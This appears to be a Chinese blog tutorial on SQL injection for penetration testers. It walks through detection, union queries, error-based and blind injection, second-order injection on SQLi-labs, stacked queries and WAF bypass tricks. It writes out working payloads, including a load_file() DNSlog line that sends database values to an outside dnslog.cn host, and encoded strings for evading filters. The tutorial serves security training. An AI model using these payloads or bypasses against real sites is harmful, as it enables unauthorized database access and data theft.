<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    WEB滲透測試中SQL注入那點事

    一顆小胡椒2023-01-06 11:40:38

    概述

    在學習SQL注入之前,我們應先了解什么是SQL?

    SQL一般是指結構化查詢語言,是一種特殊目的的編程語言,是一種數據庫查詢和程序設計語言,用于存取數據以及查詢、更新和管理關系數據庫系統。那么問題來了,什么是SQL注入呢?

    原理

    SQL注入就是當開發人員對用戶輸入數據的合法性沒有判斷或過濾不嚴時,攻擊者通過拼接惡意SQL語句誘使解釋器在未經適當授權的情況下執行意外命令或訪問數據。

    簡而言之:SQL注入的原理就是攻擊者通過拼接惡意SQL語句,將其帶入數據庫進行查詢,從而得到數據庫一些敏感信息。

    注入條件

    SQL注入產生條件有三:(1)變量可控(2)變量未存在過濾(3)我們構造的SQL語句可帶入數據庫中查詢。

    當我們了解SQL注入產生的條件時,還有一個非常重要的點需要特別注意,就是應該了解那個參數存在注入點,如果注入點搞錯了,你怎么進行構造語句也不起任何作用。例如,如果參數x存在注入點,下面哪個可以注入成功呢?

    (1)?x=1 & x=1 and 1=1 (2)?x=1 &y=1 and 1=1

    通過例子我們可以發現例(1)可以注入成功,例(2)不可以,這是為什么?因為是參數X存在注入點,這時我們的注入語句就應該拼接到x后面,而不是像例(2)那樣把語句拼接到Y后面,否則就像我前面說的,搞錯了注入點,你怎么進行構造SQL語句網頁也不起任何作用。

    SQL注入一般步驟

    1.注入點判斷

    2.注入點類型判斷(有無回顯)

    3.信息猜解(庫名-表名-列名-具體數據)

    判斷一個鏈接是否存在注入漏洞,可以通過對其傳入的參數(但不僅僅只限于參數,還有cookie注入,HTTP頭注入等) 進行構造,然后對服務器返回的內容進行判斷來查看是否存在注入點。

    注入點又分為有回顯和無回顯,有回顯就是當我們輸入惡意SQL語句時,頁面會給我們一個反饋的信息,例如我們語句輸入錯誤,后臺就會把錯誤信息返回顯示在網頁上,而無回顯就恰恰相反,當我們無論輸入的SQL是正確或者錯誤,頁面都不會發生改變。

    下面我們就先介紹一下有回顯的注入點判斷:

    1.注入點的種類解析

    1.1 按注入點參數的類型分類

    (1)數字型注入

    當輸入的參數x為整型的時候,通常sql語句是這樣的

    select * from users where id =x ,例如id=1這種類型,向數據庫傳入的是數字,參數不需要被引號括起來。

    數字型注入判斷方法一般較為簡單,當我們在注入點參數后構造語句

    and 1=1 頁面顯示正常 and 1=2頁面顯示錯誤的時候,那么這個頁面就有可能存在數字型注入點。

    and是與的邏輯,即兩個條件為真時,頁面才會返回正常,所以

    當輸入and 1=1時,后臺會執行sql語句是

    select * from users where id =x and 1=1;沒有語法顯示錯誤且邏輯判斷為真,返回正常

    當輸入and 1=2時,后臺會執行sql語句是

    select * from users where id =1 and 1=2;沒有語法錯誤且邏輯判斷為假,返回錯誤

    (2)字符型注入

    當輸入的參數x為整型的時候,通常sql語句是這樣的

    select * from users where id =‘x ',例如name=admin這種類型,像數據庫傳入的是字符串,參數需要被引號括起來。

    字符型注入判斷跟數字型注入邏輯差不多,只不過是在語句上需要添加一些符號,如單引號,雙引號,括號等

    當輸入'and' 1'='1 時,后臺會執行sql語句是

    select * from users where id =’x' and '1‘=‘1’;沒有語法顯示錯誤且邏輯判斷為真,返回正常

    當輸入‘and ’1’=‘2時,后臺會執行sql語句是

    select * from users where id =’1‘ and ’1‘=‘2’;沒有語法錯誤且邏輯判斷為假,返回錯誤

    而字符型常見干擾符號有:雙引號”,單引號',括號),綜括號}等,具體是什么符號干擾實際案例中還需各位進行嘗試。

    1.2 按照數據請求方式來分類

    (1)GET注入

    HTTP請求方式為get,注入點一般在get傳入的參數部分,例如?id=1,id便是一個注入點。

    (2)POST注入

    HTTP請求方式為post,注入點一般為提交的HTML表單, 即post傳入的數據內容。

    (3)Request注入

    get,post,reques注入的判斷方法其實就是通過在請求方法中提交不同SQL判斷語句,看頁面是否與原來一樣,一樣則不存在注入點,不一樣則存在注入點,但是有一點值得注意,GET提交的數據會優先輸出, Request請求方法可以包含get,post任意語句。

    (4)HTTP頭注入

    HTTP的請求頭存在注入點,例如XFF頭,cookie,Host這些都是常見的注入點。

    注入點判斷方法:通過修改http數據包數據(構造惡意SQL語句)進行提交,頁面是否顯示我們提交的數據,顯示則存在,反之不存在。

    (5)Cookie注入

    cookie注入其實跟上面3個差不多,通過在cookie中輸入惡意SQL語句帶入數據庫查詢,即可實現cookie注入。

    2.聯合查詢注入(union)

    聯合查詢注入一般配合 order by 函數進行信息猜解,當我們發現網站的注入點時且網站有錯誤回顯的時候,那我們就可以使用 union 進行注入。其大致步驟為:

    1.注入點判斷(前面已經介紹過)

    2.order by 列名猜解(ORDER BY 語句用于根據指定的列對結果集進行排序,當排序的那列數字超過了原有的列數就會報錯,借助這個函數原理我們就可猜出數據庫有多少列名)

    order by x  //x為界面正確和錯誤的臨界值,如

    當我們輸入SQL語句' order by 3 頁面顯示正常,order by 4 頁面顯示錯誤,那么x就為3,即數據庫有3列。

    下面通過SQLilbs靶場示例我們可以更清楚了解這一原理,前期我們判斷出了注入點為字符型注入,那么我們就可以order by 列名查詢,如我們通過 ' order by 3 --+ //--+是起到過濾后面內容的作用,有些數據庫也可用#進行過濾掉后面的內容。

    當我們輸入SQL語句' order by 3 --+,發現頁面顯示正常

    當我們輸入’order by 4 --+,你會發現頁面顯示了錯誤的信息

    那么我們就可以明白了,該數據庫有3列數據。當我們得到這個信息后就可以下一步操作了。

    3.union 查詢

    當我們用order by 函數猜解出數據庫列名后,我們就可以使用 union函數進行注入了,SQL語法為

    union select 1,2,3,4,....n --+ //因為我們通過order by 猜解出有X列,那我們就可以通過select 查詢X列,通過頁面報錯回顯位,再進行payload構造。我們還是接著以上靶場為例,因為我們知道了該數據庫有3列數據,那我們就可以構造SQL語句 ‘union select 1,2,3--+

    通過上圖我可以看到,頁面顯示了兩個數字2,3這兩個數字就是注入點的回顯位置,我們通過在回顯位置構造payload,得出想要信息。

    4.報錯顯示位信息查詢

    union select 1,payload,3,...n --+

    通過構造payload得到數據庫顯示位,那么就可以獲取我們想要的信息了,上面我們得到了顯示位為2,3那我們只要在select 后面的2,3位置構造payload即可,例如我們想要獲取數據庫版本信息和數據庫名那我們可以通過SQL語句 'union select 1,version(),database()--+ 進行注入查詢

    通過語句注入你就得到了數據庫版本為5.1.73,數據庫名為security,如果你還想獲取其他信息,那么只需要修改顯示位的payload即可。

    但需要注意的是使用union進行聯合查詢時想要查詢的數據回顯,則需要第1個查詢結果為空。即select 1 union select 2,1查詢的結果為空時,數據庫才會去查詢2想要的信息。

    這邊整理了一些常見的數據信息收集如:

    數據庫版本:version() 數據庫名字:database() 數據庫用戶:user() 操作系統:@@version_compile_os

    information_schema.schemata //所有數據庫庫名

    information_schema.tables //數據庫下面的所有表名

    information_schema.columns //數據庫某數據表下面的列名

    schema_name   //數據庫名

    table_name   //表名

    column_name  //列名

    以上都是一些常見的數據庫信息收集,如果感興趣網上還有許多方法,可以自己查找學習。

    以上介紹的都是一些通過拼接SQL語句后,頁面返回一些錯誤的信息,也就是回顯,讓我們發現注入漏洞,但隨著安全防護的不斷提高,許多網站都是沒有回顯的,就是說你輸入的SQL語句帶入數據庫查詢后,無論是正確還是錯誤的,它都不把信息回顯到頁面上,頁面跟原來的一樣沒有改變。那么這種無回顯的我們又該如何操作呢?

    不要慌,無回顯我們也是可以試一試,下面我們就來介紹如何通過無回顯SQL注入,也就是俗稱的盲注。

    3.盲注

    3.1 報錯盲注

    報錯型注入:通過特殊函數錯誤使用并使其輸出錯誤結果來獲取信息。

    常見3種報錯盲注函數:

    floor,updatexml,extractvalue等

    下面我們就先來介紹updatexml,extractvalue這兩個函數

    在mysql高版本(大于5.1版本)中添加了對XML文檔進行查詢和修改的函數:updatexml(),extractvalue()當這兩個函數在執行時,如果出現xml文檔路徑錯誤就會產生報錯

    3.1.1 updatexml

    updatexml()是一個使用不同的xml標記匹配和替換xml塊的函數。

    語法:updatexml(XML_document,XPath_string,new_value)

    updatexml使用時,當xpath_string格式出現錯誤,mysql則會爆出xpath語法錯誤(xpath syntax)以上這些都是一些函數的具體介紹,那我們實際中怎么構造呢?

    我們可以通過 :id=x' or updatexml(1,concat(0x7e,(payload)),0) #   //or是或的意思一個成立就行,當然你也可以使用and沒有什么影響,comcat是連接函數,將里面的字符串連接起來成為一個字符串。payload就是我們想要得到的信息,如果想得到用戶名,那么payload就為user(); #前面講過是過濾后面語句的。

    那么這個函數如何報錯注入呢,這個函數里面的關鍵就是0x7e,0x7e在ASCII碼中 是:~;而通過updatexml我們可以知道當xpath_string格式出現錯誤,mysql則會爆出xpath語法錯誤,而0x7e并不屬于xpath的語法格式,所以我們才可以通過這一特征得到報錯想要的信息。

    3.1.2 extractvalue

    此函數從目標XML中返回包含所查詢值的字符串 語法:extractvalue(XML_document,xpath_string)

    SQL語句:x' or extractvalue(1,concat(0x7e,payload))#

    extractvalue函數的使用跟上updatexml一樣都是當xpath_string格式出現錯誤,mysql則會爆出xpath語法錯誤

    而0x7e就是~不屬于xpath語法格式,因此報出xpath語法錯誤。同時 ‘~‘可以換成’#’、’$'等不滿足xpath格式的字符,都可以進行報錯注入的。

    3.1.3 floor

    floor報錯注入其實就是count(*),floor,group by三個函數一起使用產生邏輯錯誤,這種報錯方法的本質是因為floor(rand(0)*2)的重復性,導致group by語句出錯。經典floor報錯函數語句

    and select 1 from (select count(*),concat(payload,floor(rand(0)*2))x from information_schema.tables group by x)a)

    這里在floor()函數后面的x起到了一個起別名的作用,換句話說,x就等價于floor(rand()*2),count()函數會生成一個虛擬表,這條SQL語句來說,虛擬表中會有兩個字段,一個是字段是count()的結果,一個是字段存放x ,最后的a就是sql語句在查詢結果的基礎上再執行查詢時,必須給定一個別名。

    3.2 布爾盲注(基于邏輯判斷)

    布爾盲注其實就是基于邏輯判斷進行數據猜解的,在頁面中,如果正確執行了SQL語句,則返回一種頁面,如果SQL語句執行錯誤,則執行另一種頁面,基于兩種頁面,來判斷SQL語句正確與否,從而逐步猜解信息。像一般用到的函數left,length,substr,mid等。具有使用方法如下:

    length()=x  判斷所需信息的長度

    例:length(database())=8 //猜解數據庫名長度是否為8,是則頁面顯示正常,錯誤頁面則顯示不正常

    一般進行數據猜解時可以先判斷出信息長度,在進行信息猜解了,猜解可用下面介紹的延時函數配合猜解。

    left(a,b) 截取a的前b位

    left(database(),2)='zq’  //截取database表明前2位是否是zq,是頁面顯示正常,錯誤則不正常,通過這個邏輯可判斷注入點

    substr(a,b,c) 從位置B開始截取字符串a的c長度

    substr函數可配合時間盲注進行猜解,如

    if(substr(select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)=’s‘,sleep(5),0) // 從1個database表名中第1位開。截取1個長度的字符串是否等于x(猜解1個表名中第一位是否是s) ,若符合延遲5s,否則延遲0秒如

    mid(a,b,c)從位置B開始截取a字符串的C位

    如mid(database(),1,1)='x' //從數據庫名中第1位開始截取1位,是否等于x。

    3.3 延時盲注sleep(基于時間)

    延時盲注是另一種常見的SQL注入,當不同參數相應的頁面都一樣,或返回的信息都一致時使用延時盲注更加合適,但這種注入方式的效率很低,延時注入主要是通過頁面增加響應的時間來判斷延時注入是否成功。

    常見的延時盲注函數有sleep,if等,具體使用方法介紹如下:

    Sleep

    語法:sleep(x),x為我們需要延時的時間,利用函數sleep()讓服務器休眠,通過休眠時間判斷執行的語句對錯,從而得到我們想要的信息

    IF

    if (1,2,3) 1為判斷條件,2返回值,3返回值,若1成立,返回2,否則返回3

    if還可配合sleep函數進行一些信息的猜解判斷等

    sleep(if(mid(database(),1,1)='s')5,0))

    如果有許多表名我們想要猜解的話,可以這樣構造:

    if(substr(select table_name from information_schema.tables where table_schema=database() limit 1,2),1,1)=’ZQ‘,sleep(5),0)// 從2個數據表database中從第1位截取1長度的字符(猜解兩個表中第一位是否是Z和Q) ,若符合延遲5s,否則延遲0秒。limit 后面是個數 limit 1,2選取2個表。

    以上就是3種盲注的介紹,最高效的盲注還是報錯盲注,其次是布爾盲注,最后是延時盲注,因為延時盲注需要進行時間延遲需要花費較多的時間。

    介紹完基本的常見的SQL注入接下來就來說一下,一些不常見的SQL注入。

    4.注入進階

    4.1 加解密注入

    原理:通過對注入語句進行加密或者解密完成注入。但加解密注入條件較為嚴格,你需要了解各種加解密的形式,加密算法,將原始語句解密出來再進行語句拼接加密注入。一般==都是一些BASE64加密,如=MQ==

    4.2 二次注入/二階注入

    原理:二次注入漏洞則需要兩個HTTP請求響應,第一次HTTP請求是精心構造的,為第二次HTTP請求觸發漏洞做準備。其原理大致如下:

    在第一個HTTP請求中,攻擊者構造臟數據(帶有單引號或注釋符)存儲到數據庫中。例如:注冊時可在用戶名后加'#(屏蔽后面語句)

    在第二個HTTP請求中,攻擊者直接從數據庫中讀取臟數據,沒有執行進一步的校驗和處理就拼接到下一次SQL查詢中,從而造成二次SQL注入漏洞。

    我們可以來看一個SQLilabs-24關靶場的例子:

    從這關我們可以看到有一個注冊用戶和忘記密碼的界面,假設我們有一個用戶為52LZQ,密碼為123456存儲在數據庫中,我們使用這個賬戶密碼登錄,發現當前用戶為52LZQ,上面我們說到二次注入的第一步就是構造臟數據存儲到數據庫中,那當我們發現數據庫中有一個名為52LZQ的用戶,注冊一個52LZQ’#,密碼是123123來驗證下是否可以進行二次注入。

    注冊完之后,現在我們來修改52LZQ’#的密碼,然后再看看修改密碼的SQL語句,這里我們將密碼改為88888888。

    當我們修改密碼時,后臺源碼是將用戶名拼接到SQL語句中之后,SQL語句就成為了如下所示:

    UPDATE users SET PASSWORD='88888888' where username='52LZQ’#' and password='$curr_pass'

    那我們使用52LZQ這個用戶,密碼輸入88888888時,發現竟然可以登錄成功,并且密碼也由原來的123456變為了88888888。

    這是為什么呢?

    原來,我們通過后臺源碼發現,注冊用戶時,使用了mysql_escape_string()函數,這個函數會對特殊字符進行轉義,但最終存儲到數據庫時還是保留了原始格式,由于#號注釋掉了后面的語句,所以,我們本來是修改的52LZQ’#的密碼,但實際上修改了52LZQ的密碼,而且52LZQ’#的當前密碼也可以隨便輸入。

    這就是我們上面介紹的二次注入原理的在第二個HTTP請求中,攻擊者直接從數據庫中讀取臟數據,沒有執行進一步的校驗和處理就拼接到下一次SQL查詢中,從而造成二次SQL注入漏洞。

    受mysql_escape_string()函數影響的字符還有

    (1)\x00 (2) (3)\r (4)\ (5)' (6)" (7)\x1a 就是說使用這些字符構造臟數據同樣可以造成二次注入。

    通過上面例子我們可以清楚知道,二次注入產生的位置一般在:有數據互聯的地方,比如登錄注冊等

    一般存在代碼層,需要進行人工進行注入。

    除了使用字符構造臟數據,我們也可以使用報錯注入語句進行用戶注冊

    但最后還得注意一點:有些網頁對注冊用戶有長度限制,這些限制又分為:

    1.前端限制(看html表單是否有長度限制,如有限制,可進行長度限制修改等,可突破上限,進行注入)

    2.后端限制(后端校驗,無法突破)

    4.3 DNSlog帶外注入

    不論是bool型盲注還是時間型盲注,都需要頻繁的跑請求才能夠獲取數據庫中的值,在現代WAF的防護下,很可能導致IP被ban。我們可以結合DNSLOG完美快速的將數據取出,解決了盲注不能回顯,效率低的問題。如遇到MySQL的盲注時,可以利用內置函數load_file()來完成DNSLOG。

    load_file()不僅能夠加載本地文件,同時也能對諸如\\www.test.com這樣的URL發起請求。

    原理

    DNS在解析的時候會留下日志,通過讀取多級域名的解析日志,來獲取信息簡單來說就是把信息放在高級域名中,傳遞到自己這,然后讀取日志,獲取信息。

    常見的DNSlog網站有dnslog.cn,ceye.io

    DNSlog帶外注入語法:

    load_file(concat('\\\\',(payload),'xxx.dnslog.cn\\111'))--+ //4個\是轉義的意思,payload就是我們想要查詢的信息,后面就是我們在dnslog網站上獲取的域名信息,后面的111可以隨便寫沒什么影響。我們可以通過靶場案例看一下,常規方法:注入點判斷這些前面已經介紹,就不贅述,我們通過在靶場輸出SQL語句

    union select 1,2,load_file(concat('\\\\',(version()),'.d0it21.dnslog.cn\\111'))--+

    從DNSlog網站可以看出,我們輸入的SQL語句已經得到解析,且爆出了我們想要查詢的版本信息。

    4.4 堆疊注入

    定義:在SQL中,分號(;)是用來表示一條sql語句的結束。我們在 ; 結束一個sql語句后繼續構造下一條語句,一起執行,這就是堆疊注入。

    如select *from xxx; select *from xxx;

    作用:實現數據增,刪,改,查等

    局限性:堆疊注入的使用條件十分有限,其可能受到API或者數據庫引擎,又或者權限的限制只有當調用數據庫函數支持執行多條sql語句時才能夠使用,利用mysqli_multi_query()函數就支持多條sql語句同時執行,但實際情況中,如PHP為了防止sql注入機制,往往使用調用數據庫的函數是mysqli_ query()函數,其只能執行一條語句,分號后面的內容將不會被執行,所以可以說堆疊注入的使用條件十分有限,一旦能夠被使用,將可能對網站造成十分大的威脅。而且堆疊注入也不是適用于所有數據庫,像Oracle數據庫就不支持堆疊注入。

    5.WAF繞過

    上面講了一些常見的注入手法,當隨著人們安全意識的不斷提高,安全產品出現,許多網站都用上了WAF,也就是網頁版防火墻,用來阻止來自網頁的攻擊。這也讓網頁更加堅固,不易受攻擊,但有時候也會存在一些策略漏洞,讓攻擊者有機可乘。那么我們想要繞過WAF,我們就先要了解WAF的工作機制和原理,只有了解了這些,我們才可以更好繞過WAF,實現注入。

    5.1 WAF原理

    工作在web服務器之前,對基于HTTP協議的通信進行檢測和識別。通俗的說,WAF類似于地鐵站的安檢,對于HTTP請求進行快速安全檢查,通過解析HTTP數據,在不同的字段分別在特征、規則等維度進行正則判斷,判斷的結果作為是否攔截的依據從而決定是否放行。WAF大多是基于正則表達式進行攔截的。

    那么什么又是正則表達式呢?

    5.2 正則表達式(regular expression)

    一種字符串匹配的模式(pattern),可以用來檢查一個串是否含有某種子串、將匹配的子串替換或者從某個串中取出符合某個條件的子串等。

    例如正則表達式為 AA,當如果我們輸入aaAAaa,通過正則檢測發現該字段里面包含有我們的正則表達式中的AA,那么就會從aaAAaa字段中獲取AA,然后進行AA匹配查詢。

    如果給定一個正則表達式和另一個字符串,我們可以達到如下的目的:

    1. 給定的字符串是否符合正則表達式的過濾邏輯(稱作“匹配”):

    2. 可以通過正則表達式,從字符串中獲取我們想要的特定部分。

    了解了WAF原理,那接下來就介紹一些WAF的繞過思路。

    5.3 WAF繞過方法總結

    (1)正則規則實現繞過:如WAF規則庫中對特定關鍵字datebase()攔截,但對database()/**/關鍵字沒有進行攔截,但是數據庫中又有database的數據信息(正則匹配),那我們繞過則可以通過添加注釋符/**/,從而讓頁面爆出我們想要database信息。

    (2)提交方式更改,如post,get,request,cookie互用嘗試。

    (3)大小寫:用于繞過一些對大小寫敏感的黑名單匹配。如select可寫成SeLeCt這樣。

    (4)雙寫:利用waf將關鍵字替換為空,沒有遞歸,如union可改寫成uniunionon等

    (5)注釋符混用:常用的注釋符有// --%20 /**/ # --+ -- - %00 ;

    (6)加密解密,編碼解碼:利用urlencode,ascii,hex,unicode等編碼繞過

    一些unicode編碼舉例:

    單引號:'  ---%u0027 %u02b9 %u02bc %u02c8 %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7

    空白:%u0020 %uff00 %c0%20 %c0%a0 %e0%80%a0

    左括號(:%u0028 %uff08 %c0%28 %c0%a8 %e0%80%a8

    右括號):%u0029 %uff09 %c0%29 %c0%a9 %e0%80%a9

    (7)等價函數繞過

    hex()、bin() ==> ascii();sleep() ==>benchmark();concat_ws()==>group_concat();

    mid()、substr() ==> substring();@@user ==> user();@@datadir ==> datadir()

    (8)生僻函數繞過:使用一些不常見的函數進行繞過

    (9)空格繞過:Tab代替空格,%20 %09 %0a %0b %0c %0d %a0 /**/ () 這些都可以繞過空格

    (10)like 繞過:?id=1' or 1 like 1#可以繞過對= >等過濾

    (11)IN 繞過:or '1’ IN (‘1111’)# 可以替代=

    (12)反引號繞過:` 可以用來過空格和正則,有時候還可以將其作為注釋符用

    (13)寬字節繞過:寬字節繞過主要是SQL數據庫編碼問題造成的,在過濾單引號時,可以嘗試用%bf%27,%df%27,%aa%27繞過

    (14)\N 繞過:\N相當于NULL字符

    (15)特殊符號(通過對關鍵字添加特殊符號繞過WAF字典檢測)

    (16)其他:FUZZ大法(利用fuzz字典腳本模糊測試,批量化測試),數據庫特征,垃圾數據溢出,HTTP參數污染,IP白名單

    繞過的方法還有許多,這邊用幾個例子來說下繞過思路。

    5.3 繞過思路分享

    1.注釋符+編碼繞過

    當WAF存在對注釋符存在過濾時

    我們使用語句  union %23a%0Aselect 1,2,3%23 實現繞過,我們知道%23是#的編碼 %0a=換行符

    那么上面的語句就相當于

    union #a 

    select 1,2,3#  //原理就相當于 #屏蔽了后面a 換行截斷WAF匹配,換行的目的就是為了防止WAF繼續匹配攔截,所以整個語句就可以為union select 1,2,3不受WAF影響

    2.HTTP參數污染繞過

    了解參數污染繞過時,我們要了解何為參數污染?何為內聯注釋?

    內聯注釋:用編譯器忽略并且不執行的任何文本中的注釋 。

    參數污染其實就是:根據網站特性,只接受輸出的那一部分

    下面我整理了一些網站特性以及對應接收參數部分的數據。我們在得知網站組合后,可快速構造出我們想要的參數污染語句。

    例如我們通過信息收集得知一個網站是APACHE+PHP的搭建,通過網站特性,我們可知,該組合只接受最后一個參數。那我們可以構造SQL語句:

    這語句是啥作用呢?該語句可以這樣理解上面這個SQL語句有兩個參數

    1和/*&id=-1%20select%201,2,3%23*/ 

    而WAF匹配的時候匹配的是1/*-1 union select 1,2,3#*/或1/*&id=-1%20union%20select%201,2,3%23*/,

    而其中符號/**/起注釋作用(內聯注釋)正常情況下是沒有執行的,WAF不攔截,但是參數污染導致接受的真實數據是-1 union select 1,2,3#*/能正常執行,實現注入。

    6.小結

    以上就是本人對SQL注入的一些總結和見解,希望本文對大家有所幫助,文章不足之處也希望各位師傅指正。

    sql注入滲透測試
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    網上安全滲透測試工具整理全集,部分鏈接可能失效,但可以搜索到
    新加坡Group-IB的網絡安全研究人員揭露了GambleForce黑客組織的一個子組織EagleStrike。他們是利用簡單漏洞的機會主義黑客。新威脅行為者對全球公司的網絡安全構成了威脅。
    滲透測試這個含金量頗高的職業,對所有人敞開大門,申請專業資質認證沒有前置要求。無論你是準畢業生、在校生、信息安全從業人員,還是對滲透測試感興趣的人群均可注冊CISP-PTS滲透測試專家。三:理論學習安全牛課堂CISP-PTS課程設置為4天理論+4天實操,學員通過預習課程的學習鋪墊,正式進入理論部分的系統學習。
    概述在學習SQL注入之前,我們應先了解什么是SQL?原理SQL注入就是當開發人員對用戶輸入數據的合法性沒有判斷或過濾不嚴時,攻擊者通過拼接惡意SQL語句誘使解釋器在未經適當授權的情況下執行意外命令或訪問數據。
    SecTr安全團隊研究人員在對網站進行滲透測試時,發現該網站存在SQL注入點,可以繞過?ModSecurity是一個開源、跨平臺的web應用程序防火墻,用于實時Web應用程序監視,日志記錄和訪問控制。
    ModSecurity防火墻繞過
    前言 最近給甲方爸爸做滲透測試時發現了一個詭異的SQL注入,之所以說詭異,是因為該系統數據庫連接編碼與實際的數據庫編碼不一致,并且數據庫表字段名使用了中文的字段名,導致通過正常手段無法獲取到數據庫數據。 故事開始 1、拿到資產清單后,發現有這樣一個站。
    實戰 | 記一次有趣的滲透測試
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类